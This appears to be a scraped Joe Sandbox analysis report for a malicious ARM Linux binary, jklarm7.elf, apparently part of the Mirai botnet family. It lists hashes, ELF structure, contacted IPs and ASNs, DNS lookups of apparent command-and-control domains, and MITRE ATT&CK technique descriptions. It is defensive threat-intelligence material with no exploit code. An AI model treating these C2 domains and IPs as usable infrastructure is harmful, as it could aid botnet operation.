66.49.189.181	unknown	Canada	11814	DISTRIBUTEL-AS11814CA	false
204.215.216.112	unknown	United States	1239	SPRINTLINKUS	false
40.193.69.181	unknown	United States	4249	LILLY-ASUS	false
213.45.195.88	unknown	Italy	3269	ASN-IBSNAZIT	false
200.133.197.2	unknown	Brazil	1916	AssociacaoRedeNacionaldeEnsinoePesquisaBR	false
105.253.220.94	unknown	South Africa	29975	VODACOM-ZA	false
207.214.92.187	unknown	United States	7018	ATT-INTERNET4US	false
112.12.34.123	unknown	China	56041	CMNET-ZHEJIANG-APChinaMobilecommunicationscorporationC	false
99.224.104.143	unknown	Canada	812	ROGERS-COMMUNICATIONSCA	false
187.224.23.42	unknown	Mexico	8151	UninetSAdeCVMX	false
105.95.193.242	unknown	Egypt	36992	ETISALAT-MISREG	false
201.62.147.11	unknown	Brazil	23106	AMERICANTOWERDOBRASIL-COMUNICACAOMULTIMIDIALTBR	false
96.63.89.121	unknown	United States	32110	ASURION-INSURANCE-CORPORATIONUS	false
56.223.164.21	unknown	United States	2686	ATGS-MMD-ASUS	false
203.218.167.239	unknown	Hong Kong	4760	HKTIMS-APHKTLimitedHK	false
17.51.253.151	unknown	United States	714	APPLE-ENGINEERINGUS	false
90.22.191.208	unknown	France	3215	FranceTelecom-OrangeFR	false
194.41.241.130	unknown	Switzerland	12511	CH-POSTNETZPostCHAGCH	false
41.172.195.249	unknown	South Africa	36937	Neotel-ASZA	false
4.220.176.50	unknown	United States	3356	LEVEL3US	false
111.73.182.159	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
197.4.200.64	Nv71bHeRXW.elf	Get hash	malicious	Mirai	Browse
	Js7kN616mT.elf	Get hash	malicious	Mirai, Moobot	Browse
	i2hCoUCBwo.elf	Get hash	malicious	Mirai, Moobot	Browse
	ak.arm5.elf	Get hash	malicious	Mirai	Browse
	XE7sRnwCiM	Get hash	malicious	Mirai	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ohlookthereismyboats.geek	jklppc.elf	Get hash	malicious	Unknown	Browse	45.147.251.145
	splarm.elf	Get hash	malicious	Unknown	Browse	104.248.47.182
	jklarm.elf	Get hash	malicious	Unknown	Browse	185.220.204.227
	nabm68k.elf	Get hash	malicious	Unknown	Browse	45.147.251.145
	splmips.elf	Get hash	malicious	Unknown	Browse	104.248.47.182
	nabspc.elf	Get hash	malicious	Unknown	Browse	185.220.204.227
	nklppc.elf	Get hash	malicious	Unknown	Browse	185.220.204.227
	zerspc.elf	Get hash	malicious	Unknown	Browse	45.147.251.145
	zersh4.elf	Get hash	malicious	Unknown	Browse	45.147.251.145
	jklarm5.elf	Get hash	malicious	Unknown	Browse	104.248.47.182
watchmepull.dyn	splmips.elf	Get hash	malicious	Unknown	Browse	45.147.251.145
watchmepull.dyn	zersh4.elf	Get hash	malicious	Unknown	Browse	45.147.251.145

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CHINANET-BACKBONENo31Jin-rongStreetCN	jklppc.elf	Get hash	malicious	Unknown	Browse	222.245.99.86
	splarm.elf	Get hash	malicious	Unknown	Browse	222.246.157.99
	jklarm.elf	Get hash	malicious	Unknown	Browse	60.174.236.208
	splmips.elf	Get hash	malicious	Unknown	Browse	123.181.138.50
	nabspc.elf	Get hash	malicious	Unknown	Browse	106.7.148.181
	nklppc.elf	Get hash	malicious	Unknown	Browse	175.30.186.95
	jklarm5.elf	Get hash	malicious	Unknown	Browse	221.226.230.121
	jklx86.elf	Get hash	malicious	Unknown	Browse	113.114.160.44
	nklx86.elf	Get hash	malicious	Unknown	Browse	183.133.188.4
	nabarm5.elf	Get hash	malicious	Unknown	Browse	183.0.169.59
GTSCEGTSCentralEuropeAntelGermanyCZ	resgod.mpsl.elf	Get hash	malicious	Mirai	Browse	157.25.181.101
	ADEX YACHTING Kft. REF HU03192025.vbs	Get hash	malicious	GuLoader	Browse	188.213.33.77
	resgod.x86.elf	Get hash	malicious	Mirai	Browse	157.25.181.118
	hoho.arm.elf	Get hash	malicious	Unknown	Browse	89.40.18.158
	resgod.x86.elf	Get hash	malicious	Mirai	Browse	157.25.181.104
	http://www.maritrico.ro/appbox/project_root	Get hash	malicious	Unknown	Browse	37.156.180.210
	kaizen.ppc.elf	Get hash	malicious	Mirai	Browse	158.255.22.249
	hgfs.mips.elf	Get hash	malicious	Unknown	Browse	194.108.200.30
	hgfs.ppc.elf	Get hash	malicious	Unknown	Browse	89.24.120.254
	S6d0gHq1r3.elf	Get hash	malicious	Gafgyt, Mirai	Browse	62.168.37.193
FRONTIER-FRTRUS	jklppc.elf	Get hash	malicious	Unknown	Browse	50.40.62.165
	splarm.elf	Get hash	malicious	Unknown	Browse	104.226.231.4
	jklarm.elf	Get hash	malicious	Unknown	Browse	47.159.141.235
	jklx86.elf	Get hash	malicious	Unknown	Browse	71.119.167.29
	nklarm7.elf	Get hash	malicious	Unknown	Browse	65.37.103.2
	k86m.elf	Get hash	malicious	Mirai	Browse	172.79.16.147
	hoho.sh4.elf	Get hash	malicious	Unknown	Browse	71.164.193.251
	hoho.arm.elf	Get hash	malicious	Unknown	Browse	74.44.179.199
	resgod.x86.elf	Get hash	malicious	Mirai	Browse	47.174.165.251
	resgod.x86.elf	Get hash	malicious	Mirai	Browse	104.169.216.64
ATGS-MMD-ASUS	jklppc.elf	Get hash	malicious	Unknown	Browse	129.38.106.153
	jklarm.elf	Get hash	malicious	Unknown	Browse	33.122.5.123
	nabm68k.elf	Get hash	malicious	Unknown	Browse	48.97.242.90
	splmips.elf	Get hash	malicious	Unknown	Browse	56.6.86.145
	nabspc.elf	Get hash	malicious	Unknown	Browse	33.163.86.167
	nklppc.elf	Get hash	malicious	Unknown	Browse	57.215.77.184
	jklarm5.elf	Get hash	malicious	Unknown	Browse	33.49.51.63
	jklx86.elf	Get hash	malicious	Unknown	Browse	33.143.29.99
	nklx86.elf	Get hash	malicious	Unknown	Browse	56.143.169.83
	nklarm7.elf	Get hash	malicious	Unknown	Browse	33.155.234.168

Process:	/tmp/jklarm7.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	248
Entropy (8bit):	3.2790196086555996
Encrypted:	false
SSDEEP:	3:FVHvg9FQWUT5FFNFirT/VUR93FQWUT5FFNFvVqHHT/VVdf/FVLADsVHI1v/VVdf/:PvNDFC/VUR4DFdC/VjmsVot/VOArB/VH
MD5:	F2A3B28C6B0E8AAA4AC141FBEBA09DF8
SHA1:	2D87623B4FC6C84CA41F67288E23B107B2BFA71D
SHA-256:	C846DDF484071DF43C0F8A1A5B74DC29B8B20BC7191931B78214BC689F31EA92
SHA-512:	795494F1EA198FC4563379BD2C9DB563D4C569FD00EBD422223D1B63E4160137D312A63E4467A88767BB5AAB2937423496C8A913702DA57C9BE3D2E6AC185307
Malicious:	false
Reputation:	low
Preview:	8000-1d000 r-xp 00000000 fd:00 531606 /tmp/..24000-25000 rw-p 00014000 fd:00 531606 /tmp/..25000-2b000 rw-p 00000000 00:00 0 .ff7ef000-ff7f0000 ---p 00000000 00:00 0 .ff7f0000-ffff0000 rw-p 00000000 00:00 0 [stack].

Source: jklarm7.elf	Virustotal: Detection: 50%			Perma Link
Source: jklarm7.elf	ReversingLabs: Detection: 55%

File type:	ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.068935944132844
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	jklarm7.elf
File size:	84'920 bytes
MD5:	31e516ce6c5fc7b6da97c38e18dfda2b
SHA1:	f5f41ea7c7d384df77844fc264d6323bb52047ec
SHA256:	def66ddad4892f25da8ed7dc18359ab5f62915d65cbb475a92cf6df5d88dea32
SHA512:	8b7c2f11da24b98ce501563cca3ffd7135da786ee34284b3d3d0f46c2cfc2842443ef69fa4763e5c059d9e27f3854a4aa2feb2e3bfc5e3564eb98e6463903cf8
SSDEEP:	1536:pNniE2DPxWXa1Jo+FXMqxqHKqzrhhaa3nh9G/Okt4ijfcPsq7ll09iEnwr8VXPbT:D27xFJo+FXFxqHK+0CTG/rt4ijfcP+rR
TLSH:	3383F79AF9819B26D5D822BEFE1E11CD331357A8E3EF7202DD105B14378A91B0E7B641
File Content Preview:	.ELF..............(.........4....I......4. ...(........p.E...........................................F...F...............F...F...F..X...pB...............F...F...F..................Q.td..................................-...L..................@-.,@...0....S

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8194
Flags:	0x4000002
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	5
Section Header Offset:	84240
Section Header Size:	40
Number of Section Headers:	17
Header String Table Index:	16

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Link	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0	0
.init	PROGBITS	0x80d4	0xd4	0x10	0x0	0x6	AX	0	4
.text	PROGBITS	0x80f0	0xf0	0x133f8	0x0	0x6	AX	0	16
.fini	PROGBITS	0x1b4e8	0x134e8	0x10	0x0	0x6	AX	0	4
.rodata	PROGBITS	0x1b4f8	0x134f8	0xff0	0x0	0x2	A	0	4
.ARM.extab	PROGBITS	0x1c4e8	0x144e8	0x18	0x0	0x2	A	0	4
.ARM.exidx	ARM_EXIDX	0x1c500	0x14500	0x118	0x0	0x82	AL	2	4
.eh_frame	PROGBITS	0x24618	0x14618	0x4	0x0	0x3	WA	0	4
.tbss	NOBITS	0x2461c	0x1461c	0x8	0x0	0x403	WAT	0	4
.init_array	INIT_ARRAY	0x2461c	0x1461c	0x4	0x0	0x3	WA	0	4
.fini_array	FINI_ARRAY	0x24620	0x14620	0x4	0x0	0x3	WA	0	4
.jcr	PROGBITS	0x24624	0x14624	0x4	0x0	0x3	WA	0	4
.got	PROGBITS	0x24628	0x14628	0xa8	0x4	0x3	WA	0	4
.data	PROGBITS	0x246d0	0x146d0	0x1a0	0x0	0x3	WA	0	4
.bss	NOBITS	0x24870	0x14870	0x4018	0x0	0x3	WA	0	4
.ARM.attributes	ARM_ATTRIBUTES	0x0	0x14870	0x16	0x0	0x0		0	1
.shstrtab	STRTAB	0x0	0x14886	0x88	0x0	0x0		0	1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
EXIDX	0x14500	0x1c500	0x1c500	0x118	0x118	4.4786	0x4	R	0x4	.ARM.exidx
LOAD	0x0	0x8000	0x8000	0x14618	0x14618	6.0878	0x5	R E	0x8000	.init .text .fini .rodata .ARM.extab .ARM.exidx
LOAD	0x14618	0x24618	0x24618	0x258	0x4270	3.5261	0x6	RW	0x8000	.eh_frame .tbss .init_array .fini_array .jcr .got .data .bss
TLS	0x1461c	0x2461c	0x2461c	0x0	0x8	0.0000	0x4	R	0x4	.tbss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 19, 2025 19:50:16.603013992 CET	192.168.2.23	152.53.15.127	0xfd93	Standard query (0)	watchmepull.dyn	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:50:27.833168983 CET	192.168.2.23	51.158.108.203	0xc9c1	Standard query (0)	ohlookthereismyboats.geek	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:50:39.492577076 CET	192.168.2.23	185.181.61.24	0xf506	Standard query (0)	ohlookthereismyboats.geek	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:50:51.157253027 CET	192.168.2.23	194.36.144.87	0x7258	Standard query (0)	watchmepull.dyn. [malformed]	256	267	false
Mar 19, 2025 19:50:51.181082010 CET	192.168.2.23	194.36.144.87	0x7258	Standard query (0)	watchmepull.dyn. [malformed]	256	267	false
Mar 19, 2025 19:50:51.204726934 CET	192.168.2.23	194.36.144.87	0x7258	Standard query (0)	watchmepull.dyn. [malformed]	256	267	false
Mar 19, 2025 19:50:51.222541094 CET	192.168.2.23	194.36.144.87	0x7258	Standard query (0)	watchmepull.dyn. [malformed]	256	267	false
Mar 19, 2025 19:50:51.240192890 CET	192.168.2.23	194.36.144.87	0x7258	Standard query (0)	watchmepull.dyn. [malformed]	256	267	false
Mar 19, 2025 19:51:02.903968096 CET	192.168.2.23	81.169.136.222	0x7a1d	Standard query (0)	watchmepull.dyn. [malformed]	256	278	false
Mar 19, 2025 19:51:02.934446096 CET	192.168.2.23	81.169.136.222	0x7a1d	Standard query (0)	watchmepull.dyn. [malformed]	256	278	false
Mar 19, 2025 19:51:02.965748072 CET	192.168.2.23	81.169.136.222	0x7a1d	Standard query (0)	watchmepull.dyn. [malformed]	256	278	false
Mar 19, 2025 19:51:02.997020006 CET	192.168.2.23	81.169.136.222	0x7a1d	Standard query (0)	watchmepull.dyn. [malformed]	256	279	false
Mar 19, 2025 19:51:03.030468941 CET	192.168.2.23	81.169.136.222	0x7a1d	Standard query (0)	watchmepull.dyn. [malformed]	256	279	false
Mar 19, 2025 19:51:14.687146902 CET	192.168.2.23	152.53.15.127	0x5178	Standard query (0)	ohlookthereismyboats.geek	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:51:26.265839100 CET	192.168.2.23	51.158.108.203	0xaf94	Standard query (0)	ohlookthereismyboats.geek	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:51:37.525403023 CET	192.168.2.23	81.169.136.222	0x9aef	Standard query (0)	ohlookthereismyboats.geek	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:51:49.111133099 CET	192.168.2.23	194.36.144.87	0x4e74	Standard query (0)	ohlookthereismyboats.geek	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:52:00.691075087 CET	192.168.2.23	152.53.15.127	0xd212	Standard query (0)	ohlookthereismyboats.geek	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:52:12.344976902 CET	192.168.2.23	51.158.108.203	0xaedf	Standard query (0)	ohlookthereismyboats.geek	A (IP address)	IN (0x0001)	false

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 19, 2025 19:50:16.625875950 CET	152.53.15.127	192.168.2.23	0xfd93	No error (0)	watchmepull.dyn		45.147.251.145	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:50:16.625875950 CET	152.53.15.127	192.168.2.23	0xfd93	No error (0)	watchmepull.dyn		185.220.204.227	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:50:16.625875950 CET	152.53.15.127	192.168.2.23	0xfd93	No error (0)	watchmepull.dyn		104.248.47.182	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:50:27.848406076 CET	51.158.108.203	192.168.2.23	0xc9c1	No error (0)	ohlookthereismyboats.geek		104.248.47.182	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:50:27.848406076 CET	51.158.108.203	192.168.2.23	0xc9c1	No error (0)	ohlookthereismyboats.geek		185.220.204.227	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:50:27.848406076 CET	51.158.108.203	192.168.2.23	0xc9c1	No error (0)	ohlookthereismyboats.geek		45.147.251.145	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:50:39.528043032 CET	185.181.61.24	192.168.2.23	0xf506	No error (0)	ohlookthereismyboats.geek		185.220.204.227	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:50:39.528043032 CET	185.181.61.24	192.168.2.23	0xf506	No error (0)	ohlookthereismyboats.geek		104.248.47.182	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:50:39.528043032 CET	185.181.61.24	192.168.2.23	0xf506	No error (0)	ohlookthereismyboats.geek		45.147.251.145	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:50:51.180022001 CET	194.36.144.87	192.168.2.23	0x7258	Format error (1)	watchmepull.dyn. [malformed]	none	none	256	267	false
Mar 19, 2025 19:50:51.203773022 CET	194.36.144.87	192.168.2.23	0x7258	Format error (1)	watchmepull.dyn. [malformed]	none	none	256	267	false
Mar 19, 2025 19:50:51.221623898 CET	194.36.144.87	192.168.2.23	0x7258	Format error (1)	watchmepull.dyn. [malformed]	none	none	256	267	false
Mar 19, 2025 19:50:51.239392996 CET	194.36.144.87	192.168.2.23	0x7258	Format error (1)	watchmepull.dyn. [malformed]	none	none	256	267	false
Mar 19, 2025 19:50:51.257060051 CET	194.36.144.87	192.168.2.23	0x7258	Format error (1)	watchmepull.dyn. [malformed]	none	none	256	267	false
Mar 19, 2025 19:51:14.712671995 CET	152.53.15.127	192.168.2.23	0x5178	No error (0)	ohlookthereismyboats.geek		185.220.204.227	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:51:14.712671995 CET	152.53.15.127	192.168.2.23	0x5178	No error (0)	ohlookthereismyboats.geek		104.248.47.182	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:51:14.712671995 CET	152.53.15.127	192.168.2.23	0x5178	No error (0)	ohlookthereismyboats.geek		45.147.251.145	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:51:26.281215906 CET	51.158.108.203	192.168.2.23	0xaf94	No error (0)	ohlookthereismyboats.geek		104.248.47.182	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:51:26.281215906 CET	51.158.108.203	192.168.2.23	0xaf94	No error (0)	ohlookthereismyboats.geek		185.220.204.227	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:51:26.281215906 CET	51.158.108.203	192.168.2.23	0xaf94	No error (0)	ohlookthereismyboats.geek		45.147.251.145	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:51:37.555079937 CET	81.169.136.222	192.168.2.23	0x9aef	No error (0)	ohlookthereismyboats.geek		104.248.47.182	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:51:37.555079937 CET	81.169.136.222	192.168.2.23	0x9aef	No error (0)	ohlookthereismyboats.geek		185.220.204.227	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:51:37.555079937 CET	81.169.136.222	192.168.2.23	0x9aef	No error (0)	ohlookthereismyboats.geek		45.147.251.145	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:51:49.128122091 CET	194.36.144.87	192.168.2.23	0x4e74	No error (0)	ohlookthereismyboats.geek		104.248.47.182	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:51:49.128122091 CET	194.36.144.87	192.168.2.23	0x4e74	No error (0)	ohlookthereismyboats.geek		45.147.251.145	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:51:49.128122091 CET	194.36.144.87	192.168.2.23	0x4e74	No error (0)	ohlookthereismyboats.geek		185.220.204.227	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:52:00.713654041 CET	152.53.15.127	192.168.2.23	0xd212	No error (0)	ohlookthereismyboats.geek		104.248.47.182	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:52:00.713654041 CET	152.53.15.127	192.168.2.23	0xd212	No error (0)	ohlookthereismyboats.geek		45.147.251.145	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:52:00.713654041 CET	152.53.15.127	192.168.2.23	0xd212	No error (0)	ohlookthereismyboats.geek		185.220.204.227	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:52:12.362591028 CET	51.158.108.203	192.168.2.23	0xaedf	No error (0)	ohlookthereismyboats.geek		104.248.47.182	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:52:12.362591028 CET	51.158.108.203	192.168.2.23	0xaedf	No error (0)	ohlookthereismyboats.geek		185.220.204.227	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:52:12.362591028 CET	51.158.108.203	192.168.2.23	0xaedf	No error (0)	ohlookthereismyboats.geek		45.147.251.145	A (IP address)	IN (0x0001)	false

Start time (UTC):	18:50:13
Start date (UTC):	19/03/2025
Path:	/tmp/jklarm7.elf
Arguments:	/tmp/jklarm7.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	18:50:14
Start date (UTC):	19/03/2025
Path:	/tmp/jklarm7.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	18:50:15
Start date (UTC):	19/03/2025
Path:	/tmp/jklarm7.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report jklarm7.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.0oRsJI (deleted)

/tmp/qemu-open.0r3KJH (deleted)

/tmp/qemu-open.1PJERJ (deleted)

/tmp/qemu-open.1he8NG (deleted)

/tmp/qemu-open.1vBTSJ (deleted)

/tmp/qemu-open.1wniXG (deleted)

/tmp/qemu-open.2NG7LF (deleted)

/tmp/qemu-open.2Q9IsI (deleted)

/tmp/qemu-open.2pflEI (deleted)

/tmp/qemu-open.3KkIIH (deleted)

/tmp/qemu-open.3RTnMF (deleted)

/tmp/qemu-open.3fhXfI (deleted)

/tmp/qemu-open.4ZbTJG (deleted)

/tmp/qemu-open.4izCzJ (deleted)

/tmp/qemu-open.54bFnI (deleted)

/tmp/qemu-open.6UlHzG (deleted)

/tmp/qemu-open.6cRAAF (deleted)

/tmp/qemu-open.6dh5EI (deleted)

/tmp/qemu-open.6egO9I (deleted)

/tmp/qemu-open.7kiQvH (deleted)

/tmp/qemu-open.7q7vHJ (deleted)

/tmp/qemu-open.8DPI6I (deleted)

/tmp/qemu-open.A44HyG (deleted)

/tmp/qemu-open.ANjcMH (deleted)

/tmp/qemu-open.AaCNFF (deleted)

/tmp/qemu-open.AeO4PF (deleted)

/tmp/qemu-open.BRNeYJ (deleted)

/tmp/qemu-open.BclTJF (deleted)

/tmp/qemu-open.BsrXRG (deleted)

/tmp/qemu-open.BuyBlG (deleted)

/tmp/qemu-open.Cbl8uI (deleted)

/tmp/qemu-open.DFStsH (deleted)

/tmp/qemu-open.EGPJqH (deleted)

/tmp/qemu-open.EXr9ZJ (deleted)

Linux Analysis Report
jklarm7.elf